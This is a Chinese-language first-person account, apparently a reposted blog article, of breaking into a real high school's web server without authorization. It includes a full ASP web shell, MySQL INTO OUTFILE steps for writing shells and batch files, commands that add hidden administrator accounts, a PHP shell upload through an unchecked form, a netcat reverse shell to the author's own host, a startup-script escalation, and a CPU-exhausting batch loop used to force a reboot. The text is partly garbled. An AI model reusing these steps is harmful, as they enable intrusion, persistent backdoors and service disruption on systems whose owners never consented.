入侵检测:一次艰难而真实的入侵

作者:霜风
-----------------------------------------------------------------------------


网上有许多文章和帖子都是讲入侵但里面所叙述入侵大多都过于简单般就是拿着傻瓜化工具输几个字母或按几下鼠标就进去了难道这就是所谓入侵么?不真正入侵可没这么简单不是随便利用些教程思路方法去套就能进去入侵是门艺术要做好这么艺术需要是智慧和永不放弃精神更需要有精明头脑灵活运用已知些信息入侵可不是 3两下子就能完成1天1个星期都有可能好了不讲大道理了来看看俺入侵经历吧
天在上了本地个重点高中网站WebSite听说这个学校计算机很厉害也是本人心仪以久中学(没办法初3了……)但是我习惯性个新闻后面输入:
http://host/home/xwzx/xwzxfile.php?id=53\
于是入侵就这样开始了……

1信息收集和分析:
输入完后出现了下面字:
Warning: Supplied argument is not a valid MySQL result resource in D:\\wangzhan\\home\\xwzx\\xwzxfile.php _disibledevent=>数据库是MYSQL还显示出了网站WebSite物理路径接着我拿出X-WAY扫了它IP发现只开了21445803306端口很有可能装了防火墙或是端口过滤扫描了CGI等漏洞并没有发现什么有价值漏洞仔细看看者个网站WebSite模版并不象是现成很有可能是自己编仔细分析下来已经有了3个突破口:
121端口FTP IP 21得到BANNER是Serv-UFTP服务好象Serv-U并没有什么可以直接利用远程得到密码漏洞不过可以暴力破解个安全隐患

280端口既然页面是可以交互PHP接着我注意到下面有个网站WebSite管理入口管理员并没有把它删掉看来安全意识不强很有可能用SQL注射攻入不过我并会MYSQL注射不过MSSQL和MYSQL都是SQL我想注射思路方法也不会差太多不过MYSQL没什么权限但是只要能猜出页面管理员入口口令就差不多了还值得是网站WebSite还有个论坛是紫桐版本不清楚应该可以利用

33306端口MYSQL服务端口很有可能存在弱口令就算没有也可以用MYSQL暴力破解器来破解密码

telnet ip 80
get
得到banner是IIS5.0看来主机是iis5.0+php+mysql

3攻击开始:

首先试试成功几率最大MYSQL吧下载了个牛族MYSQL连接器输入对方IP密码为空点“开始连接”结果非常另人激动那就是成功连上去了看来这所学校不是很重视网络安全本以为接下来事会很简单但事和愿违我又遇到了更复杂情况
有了MYSQL空密码以后般思路就是:先建立个表接着行把ASP后门代码写进去接着导出这样就变成了WEBSHELL最后就是提升权限用牛族连上去后我就开始实现上面思路先在上面框框里输入:
use mysql;
发送命令
“发送use mysal;成功!”
create table tmp(cmd TEXT)
发送命令
“发送create table tmp(cmd TEXT)成功!”

介绍说明:选择在名叫mysql库中建个名叫tmp这个表只有个字段名叫cmd数据类型为TEXT

再生成表中写入内容并导出到系统目录上然后删除键
insert o tmp values(\"<% Dim oScript\")
发送命令(成功)
insert o tmp values(\"Dim oScriptNet\")
发送命令(成功)
insert o tmp values(\"Dim oFileSys, oFile\")
发送命令(成功)
……
……
select * from tmp o outfile \"d:\\\\wangzhan\\\\home\\cmd.asp\"
drop table tmp
介绍说明:其实我就是行往TMP这个表里写入cmd.asp内容代码如下:
<% Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject(\"\"WSCRIPT.SHELL\"\")
Set oScriptNet = Server.CreateObject(\"\"WSCRIPT.NETWORK\"\")
Set oFileSys = Server.CreateObject(\"\"Scripting.FileObject\"\")
szCMD = Request.Form(\"\".CMD\"\")
If (szCMD <> \"\"\"\")Then
szTempFile = \"\"C:\\\" & oFileSys.GetTempName
Call oScript.Run (\"\"cmd.exe /c \"\" & szCMD & \"\" > \"\" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If %>
<HTML><BODY><FORM action=\"\"<%= Request.ServerVariables(\"\"URL\"\")%>\"\" method=\"\"POST\"\">
<input type=text name=\"\".CMD\"\" size=45 value=\"\"<%= szCMD %>\"\"><input type=submit value=\"\"Run\"\">
</FORM><PRE>
<% If (IsObject(oFile))Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>
</BODY></HTML>
写好后再导出放在d:\\wangzhan\\home\\,存为cmd.asp,还有d:\\\\注意啊是双斜杠由于换行原因必须写进去,还有ASP文件里双引号都要用两个双引号代替.


花了10几分钟终于写好了访问URL:http://www.%school%.com/home/cmd.asp,却出现了

“505 服务器内部

头雾水仔细想想莫非服务器不支持ASP?!我没往下想先想办法再说我已经写入了我现在又不能删除如果被管理员发现那个ASP就糟了于是我再重网上DOWN了个PHPSHELL用记事本打开代码长度是CMD.ASPN倍如果要输入进去话……于是我找朋友要了个CMD下MYSQL连接器在CMD下输入:
mysql -h ip -uroot <php.sql
意思是连接远程MYSQL并且执行php.sql里SQL语句php.sql代码:
use test;
create table tmp(cmd TEXT);
insert o tmp values(\phpshell每行代码\)
insert o tmp values(\phpshell每行代码\)
insert o tmp values(\phpshell每行代码\)
……
select * from tmp o outfile \D:\\\\wangzhan\\\\wangzhan\\\\cmd2.php\;
drop table tmp;
意思跟上面说差不多也是输入代码(由于PHP要换行原因所以要行输)接着导出最后删除只是我编辑php.sql时候用了些小窍门技巧如果在每行PHPSHELL代码前都添加
insert o tmp values(\
和末尾都添加
\)
工程量是可想而知所以我就用了个特殊文本编辑器—易优超级字典生成器注册版

它有个小功能在修改字典里

如图1

有两个选项个是
“在每个密码前插入串”另个是
“在每个密码后插入串”
嘿嘿聪明读者应该想到了吧先把phpshell.php改为phpshell.txt,接着用它编辑勾选那两个选项然后分别写上
insert o tmp values(\(由于次不能写这么多所以我就写 tmp values输出好后再插入insert o)和
\)


(不过首先用记事本打开那个phpshell.txt把所以\"改为\"\"然后才能用易优超级字典生成器注册版编辑,SQL语句里所有\"都要用\"\"代替真是麻烦……)

输出好后再加上
use test;
select * from tmp o outfile \D:\\\\wangzhan\\\\wangzhan\\\\cmd2.php\;
drop table tmp;
最后改名为php.sql好了回到上面
mysql -h ip -uroot <php.sql
回车后出现:
error _disibledevent=>黑客精神就是“永不放弃”啊!~(虽然俺不是黑客)

3山穷水尽

于是重新在网上DOWN了个功能超强MYSQL管理工具
—EMS MySQL Manager 2
好险是半中文界面试了几次后终于把操作思路方法摸熟了

如图2

大家可以看到随便进入了个项点右键—新建表然后把表名字改为love点下把类型改为TEXT

如图3

最后点“好”接着右键点LOVE表数据操作—导入数据—点选导入文本然后打开phpshell.txt,最后点完成最后等待了

如图4

完成后仔细看了表里内容确认和phpshell原代码样后用牛族MYSQL连接器导出了用浏览器浏览还是出现真实郁闷啊哪位高手知道到底是如何回事定要告诉我小弟不甚感激
接着我想到了那个BBS正好MYSQL里有个BBS进入打开USER行就是WEBMASTER密码是用32位MD5加密用MD5解密纯数字和字典都没成功看来只好放弃了……

然后我又想到了用autorun.inf和BAT于是我再次打开了牛族MYSQL连接器输入:
insert o tmp values(\"net user shuangfeng /add\")
发送命令(成功)
insert o tmp values(\"net localgroup administrators shuangfeng /add\")
发送命令(成功)
insert o tmp values(\"net start telnet\")
发送命令(成功)
insert o tmp values(\"del telnet\")
发送命令(成功)
select * from tmp o outfile \"d:\\\\telnet.bat\"
drop table tmp

写完BAT后再写autorun.inf

insert o tmp values(\"[AutoRun]\")
发送命令(成功)
insert o tmp values(\"OPEN= d:\\muma.exe /autorun\")
发送命令(成功)
select * from tmp o outfile \"d:\\\\autorun.inf\"
drop table tmp

我把这两个文件C盘D盘E盘都放了看看表11点48了有点困了先睡吧

4绝处逢生
第2天打开电脑就在cmd里输入telnet ip,返回却是:
正在连接到xxx.xxx.xxx.xxx...不能打开到主机连接 在端口 23: 连接失败
当时真很郁闷又想到了21FTP个思路冒出来下载个serv-u,设置好密码后在把serv-udaemon.ini写进对方主机最后登陆不过仔细想想还是不行MYSQL导出文件不能覆盖其他文件……
不行我还是不能放弃我把注意力转移到MYSQL数据上仔细搜索发现个“wangzhan\"进入后发现USER看到里面有几个帐号密码是名文保存接着我联想到网站WebSite上管理系统于是马上依照了第个行帐号登入结果证明了我猜测我成功进入了只有发布新闻下载等栏目

如图5

并没有什么有关设置选项但是我还是试了点发布新闻个“上传图片”框框映入了我眼帘我试着用它上传phpshell填好标题内容等后点了确定另人激动时刻到了我成功了顺利传了上去看来终究是自己编竟然没有对后错名做限制出现:
home/photo/2013245321.php上传成功
结果我通过这个路径得到了phpshell当时心情真是无法用言语形容但是我们现在权限还太小只能读写文件要取道ADMIN权限才能算真正占领接着我开始了提升权限……

5最后决战
经过不懈努力终于有个PHPSHELL这个小小SHELL整整经过我2天努力最后就是提升权限了再上传个NC
反向连接:
back(被我改名了) myip 53 -e cmd.exe
就是把帮定CMDSHELL返回到我53端口上然后在自己机上运行
back -vv -l -p 53
顺利得到了SHELL
如图6

得到CMDSHELL先看看是什么系统
type %windir%\\system32\\$winnt$.inf
发现有win adv这几个字母初步判定是win高级服务器版
再看看他打了什么补丁吧输入:regedit /e r.reg HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\hotfix,意思是导出
HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\hotfix里面含有补丁信息但没成功导出如何办呢仔细看看WINNT里面目录发现有些Q打头LOG文件它就是打了SP后遗留下来日志文件用TYPE命令查看里面有许多是SP4文件名很有可能打了SP4那样话就麻烦了……
首先试试WMI吧是eyas写提升权限东西可以在SP3机上建立个XX超级管理员上传并运行以后结果在我意料的中—拒绝访问看来真打了SP4这样可就麻烦了输入net start看看开了什么服务发现几个可以利用服务:
mysql
Serv-U
于是我开是替换服务了但可悲这两个软件Software都装在C盘而且C盘是NTFS更改名字就是拒绝访问杀进程就更别说了感觉又没有办法了但是我还是不能放弃!(神都应该被我精神感动了吧)仔细想想我又回到了MYSQL上面MYSQL肯定是ADMIN装也就是说隶属于ADMIN启动范围的类也就是说可以利用它写个脚本然后放在“启动”项内于是我赶紧输入:
use test;
create table aaa2(cmd TEXT)
insert o aaa2 values (\" wsh=CreateObject(\"\"WScript.Shell\"\")\")
insert o aaa2 values (\"wsh.run \"\"net.exe user aaa aa /add\"\",0\")
insert o aaa2 values (\"wsh.run \"\"net localgroup administrators aaa /add\"\",0\")
insert o 2 values (\"wsh.run \"net start telnet\",0\")
最后导出在所有USER“启动”项内最后就是等服务器重起了不过俺是个急性子利用messenge漏洞吧虽然它不能得到SHELL但能使服务器重起但仔细看原来服务器根本就没启动MESSENGE服务更别说漏洞了……
如何办呢写个BAT吧内容为:
:begin
start cmd
goto begin
也就是不停运行CMD呵呵更拒绝服务差不多会CPU就会SAY GOODBYE了
重起的后事就不用说了吧……


至此终于入侵完了回顾整个入侵几起几落是很不容易耗时3天最后终于成功了希望各位读者们能从这篇文章学会些有用知识而最重要就是要有永不放弃精神而且要善于分析问题



  • 篇文章: 跟IP盗用者决战到底思路方法

  • 篇文章: 结合例子解读ELF文件-阅读笔记(1)
  • Tags:  真实入侵 入侵脑细胞 网站入侵 入侵检测

    延伸阅读

    最新评论

    发表评论